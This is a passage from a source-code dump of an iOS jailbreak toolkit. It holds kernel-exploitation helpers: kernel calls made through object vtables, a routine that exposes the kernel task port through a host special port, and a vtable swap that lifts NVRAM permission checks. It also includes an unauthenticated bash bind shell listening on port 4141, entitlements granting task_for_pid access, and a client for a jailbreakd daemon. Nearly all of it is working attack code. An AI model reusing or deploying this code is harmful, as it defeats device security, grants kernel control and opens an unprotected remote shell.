CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ 87 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ 88 | 89 | -------------------------------------------------------------------------------- /empty_list/jelbrek/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kexecute.h" 3 | #include "kmem.h" 4 | #include "kern_utils.h" 5 | #include "patchfinder64.h" 6 | #include "osobject.h" 7 | 8 | // offsets in vtable: 9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 12 | 13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 16 | 17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 20 | 21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 22 | 23 | // 1 on success, 0 on error 24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 25 | size_t len = strlen(key) + 1; 26 | 27 | uint64_t ks = kalloc(len); 28 | kwrite(ks, key, len); 29 | 30 | uint64_t vtab = rk64(dict); 31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 32 | 33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 34 | 35 | kfree(ks, len); 36 | 37 | return rv; 38 | } 39 | 40 | // XXX it can return 0 in lower 32 bits but still be valid 41 | // fix addr of returned value and check if rk64 gives ptr 42 | // to vtable addr saved before 43 | 44 | // address if exists, 0 if not 45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 46 | size_t len = strlen(key) + 1; 47 | 48 | uint64_t ks = kalloc(len); 49 | kwrite(ks, key, len); 50 | 51 | uint64_t vtab = rk64(dict); 52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 53 | 54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); 55 | 56 | kfree(ks, len); 57 | 58 | return rv; 59 | } 60 | 61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 62 | uint64_t ret = _OSDictionary_GetItem(dict, key); 63 | 64 | if (ret != 0) { 65 | // XXX can it be not in zalloc?.. 66 | ret = zm_fix_addr(ret); 67 | } 68 | 69 | return ret; 70 | } 71 | 72 | // 1 on success, 0 on error 73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 74 | uint64_t vtab = rk64(dict); 75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 76 | 77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 78 | } 79 | 80 | // 1 on success, 0 on error 81 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 82 | uint64_t vtab = rk64(array); 83 | uint64_t f = rk64(vtab + off_OSArray_Merge); 84 | 85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 86 | } 87 | 88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 89 | uint64_t vtab = rk64(array); 90 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 91 | 92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 93 | } 94 | 95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 96 | uint64_t ret = _OSArray_GetObject(array, idx); 97 | 98 | if (ret != 0){ 99 | // XXX can it be not in zalloc?.. 100 | ret = zm_fix_addr(ret); 101 | } 102 | return ret; 103 | } 104 | 105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 106 | uint64_t vtab = rk64(array); 107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 108 | 109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 110 | } 111 | 112 | // XXX error handling just for fun? :) 113 | uint64_t _OSUnserializeXML(const char* buffer) { 114 | size_t len = strlen(buffer) + 1; 115 | 116 | uint64_t ks = kalloc(len); 117 | kwrite(ks, buffer, len); 118 | 119 | uint64_t errorptr = 0; 120 | 121 | uint64_t rv = kexecute(find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0); 122 | kfree(ks, len); 123 | 124 | return rv; 125 | } 126 | 127 | uint64_t OSUnserializeXML(const char* buffer) { 128 | uint64_t ret = _OSUnserializeXML(buffer); 129 | 130 | if (ret != 0) { 131 | // XXX can it be not in zalloc?.. 132 | ret = zm_fix_addr(ret); 133 | } 134 | 135 | return ret; 136 | } 137 | 138 | void OSObject_Release(uint64_t osobject) { 139 | uint64_t vtab = rk64(osobject); 140 | uint64_t f = rk64(vtab + off_OSObject_Release); 141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 142 | } 143 | 144 | void OSObject_Retain(uint64_t osobject) { 145 | uint64_t vtab = rk64(osobject); 146 | uint64_t f = rk64(vtab + off_OSObject_Release); 147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 148 | } 149 | 150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 151 | uint64_t vtab = rk64(osobject); 152 | uint64_t f = rk64(vtab + off_OSObject_Release); 153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 154 | } 155 | 156 | unsigned int OSString_GetLength(uint64_t osstring){ 157 | uint64_t vtab = rk64(osstring); 158 | uint64_t f = rk64(vtab + off_OSString_GetLength); 159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 160 | } 161 | 162 | char *OSString_CopyString(uint64_t osstring){ 163 | unsigned int length = OSString_GetLength(osstring); 164 | char *str = malloc(length + 1); 165 | str[length] = 0; 166 | 167 | kread(OSString_CStringPtr(osstring), str, length); 168 | return str; 169 | } 170 | -------------------------------------------------------------------------------- /empty_list/jelbrek/osobject.h: -------------------------------------------------------------------------------- 1 | #define OSDictionary_ItemCount(dict) kread32(dict+20) 2 | #define OSDictionary_ItemBuffer(dict) kread64(dict+32) 3 | #define OSDictionary_ItemKey(buffer, idx) kread64(buffer+16*idx) 4 | #define OSDictionary_ItemValue(buffer, idx) kread64(buffer+16*idx+8) 5 | #define OSString_CStringPtr(str) kread64(str + 0x10) 6 | #define OSArray_ItemCount(arr) kread32(arr+0x14) 7 | #define OSArray_ItemBuffer(arr) kread64(arr+32) 8 | 9 | // see osobject.c for info 10 | 11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 16 | int OSArray_Merge(uint64_t array, uint64_t aArray); 17 | uint64_t OSUnserializeXML(const char* buffer); 18 | 19 | void OSObject_Release(uint64_t osobject); 20 | void OSObject_Retain(uint64_t osobject); 21 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 22 | 23 | unsigned int OSString_GetLength(uint64_t osstring); 24 | char *OSString_CopyString(uint64_t osstring); 25 | -------------------------------------------------------------------------------- /empty_list/jelbrek/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | int init_kernel(uint64_t base, const char *filename); 5 | void term_kernel(void); 6 | 7 | // Fun part 8 | uint64_t find_allproc(void); 9 | uint64_t find_add_x0_x0_0x40_ret(void); 10 | uint64_t find_copyout(void); 11 | uint64_t find_bzero(void); 12 | uint64_t find_bcopy(void); 13 | uint64_t find_rootvnode(void); 14 | uint64_t find_trustcache(void); 15 | uint64_t find_amficache(void); 16 | uint64_t find_OSBoolean_True(void); 17 | uint64_t find_OSBoolean_False(void); 18 | uint64_t find_zone_map_ref(void); 19 | uint64_t find_osunserializexml(void); 20 | uint64_t find_smalloc(void); 21 | #endif 22 | -------------------------------------------------------------------------------- /empty_list/jelbrek/qilin.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/qilin.o -------------------------------------------------------------------------------- /empty_list/jelbrek/remap_tfp_set_hsp.c: -------------------------------------------------------------------------------- 1 | // 2 | // remap_tfp_set_hsp.c 3 | // electra 4 | // 5 | // Created by Viktor Oreshkin on 16.01.18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "remap_tfp_set_hsp.h" 10 | 11 | #include 12 | #include "kmem.h" 13 | #include "offsets.h" 14 | #include "kern_utils.h" 15 | #include "patchfinder64.h" 16 | 17 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 18 | 19 | uint64_t make_fake_task(uint64_t vm_map) { 20 | uint64_t fake_task_kaddr = kmem_alloc_wired(0x1000); 21 | 22 | void* fake_task = malloc(0x1000); 23 | memset(fake_task, 0, 0x1000); 24 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 25 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 26 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 27 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 28 | kmemcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000); 29 | free(fake_task); 30 | 31 | return fake_task_kaddr; 32 | } 33 | 34 | // in async_wake.h 35 | void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr); 36 | 37 | int remap_tfp0_set_hsp4(mach_port_t *port) { 38 | // huge thanks to Siguza for hsp4 & v0rtex 39 | // for explainations and being a good rubber duck :p 40 | 41 | // see https://github.com/siguza/hsp4 for some background and explaination 42 | // tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token 43 | // which makes it return TASK_NULL when kernel_task is passed 44 | // "simple" vm_remap is enough to overcome this. 45 | 46 | // However, vm_remap has weird issues with submaps -- it either doesn't remap 47 | // or using remapped addresses leads to panics and kittens crying. 48 | 49 | // tasks fall into zalloc, so src_map is going to be zone_map 50 | // zone_map works perfectly fine as out zone -- you can 51 | // do remap with src/dst being same and get new address 52 | 53 | // however, using kernel_map makes more sense 54 | // we don't want zalloc to mess with our fake task 55 | // and neither 56 | 57 | // proper way to use vm_* APIs from userland is via mach_vm_* 58 | // but those accept task ports, so we're gonna set up 59 | // fake task, which has zone_map as its vm_map 60 | // then we'll build fake task port from that 61 | // and finally pass that port both as src and dst 62 | 63 | // last step -- wire new kernel task -- always a good idea to wire critical 64 | // kernel structures like tasks (or vtables :P ) 65 | 66 | // and we can write our port to realhost.special[4] 67 | 68 | // we can use mach_host_self() if we're root 69 | mach_port_t host_priv = fake_host_priv(); 70 | 71 | int ret; 72 | uint64_t remapped_task_addr = 0; 73 | // task is smaller than this but it works so meh 74 | uint64_t sizeof_task = 0x1000; 75 | 76 | uint64_t kernel_task_kaddr; 77 | 78 | { 79 | // find kernel task first 80 | kernel_task_kaddr = rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 81 | 82 | while (kernel_task_kaddr != 0) { 83 | uint64_t bsd_info = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 84 | 85 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 86 | 87 | if (pid == 0) { 88 | break; 89 | } 90 | 91 | kernel_task_kaddr = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV)); 92 | } 93 | 94 | if (kernel_task_kaddr == 0) { 95 | printf("[remap_kernel_task] failed to find kernel task\n"); 96 | return 1; 97 | } 98 | 99 | printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr); 100 | } 101 | 102 | mach_port_t zm_fake_task_port = MACH_PORT_NULL; 103 | mach_port_t km_fake_task_port = MACH_PORT_NULL; 104 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port); 105 | ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port); 106 | 107 | if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) { 108 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port); 109 | } 110 | 111 | if (ret != KERN_SUCCESS) { 112 | printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret)); 113 | return 1; 114 | } 115 | 116 | // strref \"Nothing being freed to the zone_map. start = end = %p\\n\" 117 | // or traditional \"zone_init: kmem_suballoc failed\" 118 | uint64_t zone_map_kptr = find_zone_map_ref(); 119 | uint64_t zone_map = rk64(zone_map_kptr); 120 | 121 | // kernel_task->vm_map == kernel_map 122 | uint64_t kernel_map = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 123 | 124 | uint64_t zm_fake_task_kptr = make_fake_task(zone_map); 125 | uint64_t km_fake_task_kptr = make_fake_task(kernel_map); 126 | 127 | make_port_fake_task_port(zm_fake_task_port, zm_fake_task_kptr); 128 | make_port_fake_task_port(km_fake_task_port, km_fake_task_kptr); 129 | 130 | km_fake_task_port = zm_fake_task_port; 131 | 132 | vm_prot_t cur, max; 133 | ret = mach_vm_remap(km_fake_task_port, 134 | &remapped_task_addr, 135 | sizeof_task, 136 | 0, 137 | VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, 138 | zm_fake_task_port, 139 | kernel_task_kaddr, 140 | 0, 141 | &cur, &max, 142 | VM_INHERIT_NONE); 143 | 144 | 145 | if (ret != KERN_SUCCESS) { 146 | printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret)); 147 | return 1; 148 | } 149 | 150 | if (kernel_task_kaddr == remapped_task_addr) { 151 | printf("[remap_kernel_task] remap failure: addr is the same after remap\n"); 152 | return 1; 153 | } 154 | 155 | printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr); 156 | 157 | ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE); 158 | 159 | if (ret != KERN_SUCCESS) { 160 | printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret)); 161 | return 1; 162 | } 163 | 164 | uint64_t port_kaddr = find_port_address(*port); 165 | printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr); 166 | 167 | make_port_fake_task_port(*port, remapped_task_addr); 168 | 169 | if (rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) { 170 | printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n"); 171 | return 1; 172 | } 173 | 174 | // lck_mtx -- arm: 8 arm64: 16 175 | const int offsetof_host_special = 0x10; 176 | uint64_t host_priv_kaddr = find_port_address(mach_host_self()); 177 | uint64_t realhost_kaddr = rk64(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 178 | wk64(realhost_kaddr + offsetof_host_special + 4 * sizeof(void*), port_kaddr); 179 | 180 | return 0; 181 | } 182 | 183 | -------------------------------------------------------------------------------- /empty_list/jelbrek/remap_tfp_set_hsp.h: -------------------------------------------------------------------------------- 1 | // 2 | // remap_tfp_set_hsp.h 3 | // electra 4 | // 5 | // Created by Viktor Oreshkin on 16.01.18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef remap_tfp_set_hsp_h 10 | #define remap_tfp_set_hsp_h 11 | 12 | #include 13 | 14 | int remap_tfp0_set_hsp4(mach_port_t *port); 15 | 16 | #endif /* remap_tfp_set_hsp_h */ 17 | -------------------------------------------------------------------------------- /empty_list/jelbrek/shell.c: -------------------------------------------------------------------------------- 1 | 2 | /* J. Levin has compiled a bunch of Apple opensource utilites for arm64 3 | * You can get them from his site here: http://newosxbook.com/tools/iOSBinaries.html 4 | * 5 | * Follow the link to "The 64-bit tgz pack" 6 | * 7 | * Unpack the tarball into a directory called iosbinpack64 and drag-and-drop 8 | * that directory into the directory with all the source files in in XCode 9 | * so that it ends up in the .app bundle 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #include 28 | 29 | char* bundle_path() { 30 | CFBundleRef mainBundle = CFBundleGetMainBundle(); 31 | CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle); 32 | int len = 4096; 33 | char* path = malloc(len); 34 | 35 | CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len); 36 | 37 | return path; 38 | } 39 | 40 | char* prepare_directory(char* dir_path) { 41 | DIR *dp; 42 | struct dirent *ep; 43 | 44 | char* in_path = NULL; 45 | char* bundle_root = bundle_path(); 46 | asprintf(&in_path, "/var/containers/Bundle/iosbinpack64/%s", dir_path); 47 | 48 | 49 | dp = opendir(in_path); 50 | if (dp == NULL) { 51 | printf("unable to open payload directory: %s\n", in_path); 52 | return NULL; 53 | } 54 | 55 | while ((ep = readdir(dp))) { 56 | char* entry = ep->d_name; 57 | char* full_entry_path = NULL; 58 | asprintf(&full_entry_path, "/var/containers/Bundle/iosbinpack64/%s/%s", dir_path, entry); 59 | 60 | printf("preparing: %s\n", full_entry_path); 61 | 62 | // make that executable: 63 | int chmod_err = chmod(full_entry_path, 0777); 64 | if (chmod_err != 0){ 65 | printf("chmod failed\n"); 66 | } 67 | 68 | free(full_entry_path); 69 | } 70 | 71 | closedir(dp); 72 | free(bundle_root); 73 | 74 | return in_path; 75 | } 76 | 77 | // prepare all the payload binaries under the iosbinpack64 directory 78 | // and build up the PATH 79 | char* prepare_payload() { 80 | char* path = calloc(4096, 1); 81 | strcpy(path, "PATH="); 82 | char* dir; 83 | dir = prepare_directory("bin"); 84 | strcat(path, dir); 85 | strcat(path, ":"); 86 | free(dir); 87 | 88 | dir = prepare_directory("sbin"); 89 | strcat(path, dir); 90 | strcat(path, ":"); 91 | free(dir); 92 | 93 | dir = prepare_directory("usr/bin"); 94 | strcat(path, dir); 95 | strcat(path, ":"); 96 | free(dir); 97 | 98 | dir = prepare_directory("usr/local/bin"); 99 | strcat(path, dir); 100 | strcat(path, ":"); 101 | free(dir); 102 | 103 | dir = prepare_directory("usr/sbin"); 104 | strcat(path, dir); 105 | strcat(path, ":"); 106 | free(dir); 107 | 108 | strcat(path, "/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec"); 109 | 110 | return path; 111 | } 112 | 113 | void do_bind_shell(char* env, int port) { 114 | char* bundle_root = bundle_path(); 115 | 116 | char* shell_path = NULL; 117 | asprintf(&shell_path, "/var/containers/Bundle/iosbinpack64/bin/bash"); 118 | 119 | char* argv[] = {shell_path, NULL}; 120 | char* envp[] = {env, NULL}; 121 | 122 | struct sockaddr_in sa; 123 | sa.sin_len = 0; 124 | sa.sin_family = AF_INET; 125 | sa.sin_port = htons(port); 126 | sa.sin_addr.s_addr = INADDR_ANY; 127 | 128 | int sock = socket(PF_INET, SOCK_STREAM, 0); 129 | bind(sock, (struct sockaddr*)&sa, sizeof(sa)); 130 | listen(sock, 1); 131 | 132 | printf("shell listening on port %d\n", port); 133 | 134 | for(;;) { 135 | int conn = accept(sock, 0, 0); 136 | 137 | posix_spawn_file_actions_t actions; 138 | 139 | posix_spawn_file_actions_init(&actions); 140 | posix_spawn_file_actions_adddup2(&actions, conn, 0); 141 | posix_spawn_file_actions_adddup2(&actions, conn, 1); 142 | posix_spawn_file_actions_adddup2(&actions, conn, 2); 143 | 144 | 145 | pid_t spawned_pid = 0; 146 | int spawn_err = posix_spawn(&spawned_pid, shell_path, &actions, NULL, argv, envp); 147 | 148 | if (spawn_err != 0){ 149 | perror("shell spawn error"); 150 | } else { 151 | printf("shell posix_spawn success!\n"); 152 | } 153 | 154 | posix_spawn_file_actions_destroy(&actions); 155 | 156 | printf("our pid: %d\n", getpid()); 157 | printf("spawned_pid: %d\n", spawned_pid); 158 | 159 | int wl = 0; 160 | while (waitpid(spawned_pid, &wl, 0) == -1 && errno == EINTR); 161 | } 162 | } 163 | 164 | void drop_payload() { 165 | char* env_path = prepare_payload(); 166 | printf("will launch a shell with this environment: %s\n", env_path); 167 | 168 | do_bind_shell(env_path, 4141); 169 | free(env_path); 170 | } 171 | -------------------------------------------------------------------------------- /empty_list/jelbrek/shell.h: -------------------------------------------------------------------------------- 1 | #ifndef drop_payload_h 2 | #define drop_payload_h 3 | 4 | void drop_payload(); 5 | char* prepare_payload(); 6 | char* bundle_path(); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /empty_list/jelbrek/unlocknvram.c: -------------------------------------------------------------------------------- 1 | // iOS 11 moves OFVariables to const 2 | // https://twitter.com/s1guza/status/908790514178301952 3 | // however, if we: 4 | // 1) Can find IODTNVRAM service 5 | // 2) Have tfp0 / kernel read|write|alloc 6 | // 3) Can leak kernel address of mach port 7 | // then we can fake vtable on IODTNVRAM object 8 | // async_wake satisfies those requirements 9 | // however, I wasn't able to actually set or get ANY nvram variable 10 | // not even userread/userwrite 11 | // Guess sandboxing won't let to access nvram 12 | 13 | #include 14 | #include 15 | #include "kern_utils.h" 16 | #include "offsetof.h" 17 | #include "../offsets.h" 18 | 19 | // convertPropToObject calls getOFVariableType 20 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType 21 | // find xrefs, figure out vtable start from that 22 | // following are offsets of entries in vtable 23 | 24 | // it always returns false 25 | const uint64_t searchNVRAMProperty = 0x590; 26 | // 0 corresponds to root only 27 | const uint64_t getOFVariablePerm = 0x558; 28 | 29 | typedef mach_port_t io_service_t; 30 | typedef mach_port_t io_connect_t; 31 | extern const mach_port_t kIOMasterPortDefault; 32 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 33 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 34 | 35 | 36 | // get kernel address of IODTNVRAM object 37 | uint64_t get_iodtnvram_obj(void) { 38 | // get user serv 39 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 40 | 41 | // leak user serv 42 | uint64_t nvram_up = find_port_address(IODTNVRAMSrv); 43 | // get kern obj -- IODTNVRAM* 44 | uint64_t IODTNVRAMObj = kread64(nvram_up + offsetof_ip_kobject); 45 | 46 | return IODTNVRAMObj; 47 | } 48 | 49 | void unlocknvram(void) { 50 | const uint64_t searchNVRAMProperty = 0x590; 51 | // 0 corresponds to root only 52 | const uint64_t getOFVariablePerm = 0x558; 53 | // get user serv 54 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 55 | 56 | // leak user serv 57 | // it should use via_kmem_read method by now, so second param doesn't matter 58 | uint64_t nvram_up = find_port_address(IODTNVRAMSrv); 59 | // get kern obj -- IODTNVRAM* 60 | uint64_t IODTNVRAMObj = kread64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 61 | uint64_t vtable_start = kread64(IODTNVRAMObj); 62 | uint64_t vtable_end = vtable_start; 63 | // Is vtable really guaranteed to end with 0 or was it just a coincidence?.. 64 | // should we just use some max value instead? 65 | while (kread64(vtable_end) != 0) vtable_end += sizeof(uint64_t); 66 | 67 | uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start); 68 | 69 | // copy vtable to userspace 70 | uint64_t *buf = calloc(1, vtable_len); 71 | kread(vtable_start, buf, vtable_len); 72 | 73 | // alter it 74 | buf[getOFVariablePerm/sizeof(uint64_t)] = buf[searchNVRAMProperty/sizeof(uint64_t)]; 75 | 76 | // allocate buffer in kernel and copy it back 77 | uint64_t fake_vtable = kmem_alloc_wired(vtable_len); 78 | kwrite(fake_vtable, buf, vtable_len); 79 | 80 | // replace vtable on IODTNVRAM object 81 | kwrite64(IODTNVRAMObj, fake_vtable); 82 | 83 | free(buf); 84 | } 85 | -------------------------------------------------------------------------------- /empty_list/jelbrek/unlocknvram.h: -------------------------------------------------------------------------------- 1 | void unlocknvram(void); 2 | -------------------------------------------------------------------------------- /empty_list/jelbrek/vnode_utils.h: -------------------------------------------------------------------------------- 1 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context); 2 | uint64_t get_vfs_context(); 3 | int vnode_put(uint64_t vnode); 4 | unsigned int init_offsets(); 5 | -------------------------------------------------------------------------------- /empty_list/jelbrek/vnode_utils.m: -------------------------------------------------------------------------------- 1 | // 2 | // *.c 3 | // async_wake_ios 4 | // 5 | // Created by George on 18/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "kern_utils.h" 10 | #include "patchfinder64.h" 11 | #include "offsetof.h" 12 | #include "../offsets.h" 13 | #include "kexecute.h" 14 | 15 | #include 16 | 17 | extern uint64_t kslide; 18 | 19 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) { 20 | 21 | size_t len = strlen(path) + 1; 22 | uint64_t ptr = kalloc(8); 23 | uint64_t ptr2 = kalloc(len); 24 | kwrite(ptr2, path, len); 25 | 26 | if (kexecute(ksym_vnode_lookup + kslide, ptr2, flags, ptr, vfs_context, 0, 0, 0)) { 27 | return -1; 28 | } 29 | *vnode = kread64(ptr); 30 | kfree(ptr2, len); 31 | kfree(ptr, 8); 32 | return 0; 33 | } 34 | 35 | uint64_t get_vfs_context() { 36 | return zm_fix_addr(kexecute(ksym_vfs_current_context + kslide, 1, 0, 0, 0, 0, 0, 0)); 37 | } 38 | 39 | int vnode_put(uint64_t vnode) { 40 | return kexecute(ksym_vnode_put + kslide, vnode, 0, 0, 0, 0, 0, 0); 41 | } 42 | 43 | unsigned int init_offsets() { 44 | extern unsigned int getOffsets(uint64_t kslide); 45 | return getOffsets(kslide); 46 | } 47 | -------------------------------------------------------------------------------- /empty_list/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | extern mach_port_t tfp0; 5 | 6 | uint32_t rk32(uint64_t kaddr); 7 | uint64_t rk64(uint64_t kaddr); 8 | 9 | void wk32(uint64_t kaddr, uint32_t val); 10 | void wk64(uint64_t kaddr, uint64_t val); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /empty_list/launchctl/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | get-task-allow 8 | 9 | com.apple.system-task-ports 10 | 11 | task_for_pid-allow 12 | 13 | com.apple.private.security.container-required 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /empty_list/launchctl/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = launchctl 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall 9 | 10 | .PHONY: all clean 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DINJECT_CRITICALD_DEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | all: $(OUTDIR)/$(TARGET) 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): *.m | $(OUTDIR) 25 | $(CC) -o $@ $^ -framework Foundation $(CFLAGS) 26 | $(LDID) -SEnt.plist $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /empty_list/launchctl/main.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define BUFSIZE 1024 14 | 15 | #define JAILBREAKD_COMMAND_ENTITLE 1 16 | #define JAILBREAKD_COMMAND_PLATFORMIZE 2 17 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6 18 | 19 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID { 20 | uint8_t Command; 21 | int32_t Pid; 22 | }; 23 | 24 | int main(int argc, const char* argv[], const char* envp[]) { 25 | 26 | int sockfd, portno, n; 27 | int serverlen; 28 | struct sockaddr_in serveraddr; 29 | struct hostent *server; 30 | char *hostname; 31 | char buf[BUFSIZE]; 32 | 33 | hostname = "127.0.0.1"; 34 | portno = 5; 35 | 36 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 37 | if (sockfd < 0) 38 | printf("ERROR opening socket\n"); 39 | 40 | /* gethostbyname: get the server's DNS entry */ 41 | server = gethostbyname(hostname); 42 | if (server == NULL) { 43 | fprintf(stderr,"ERROR, no such host as %s\n", hostname); 44 | exit(0); 45 | } 46 | 47 | /* build the server's Internet address */ 48 | bzero((char *) &serveraddr, sizeof(serveraddr)); 49 | serveraddr.sin_family = AF_INET; 50 | bcopy((char 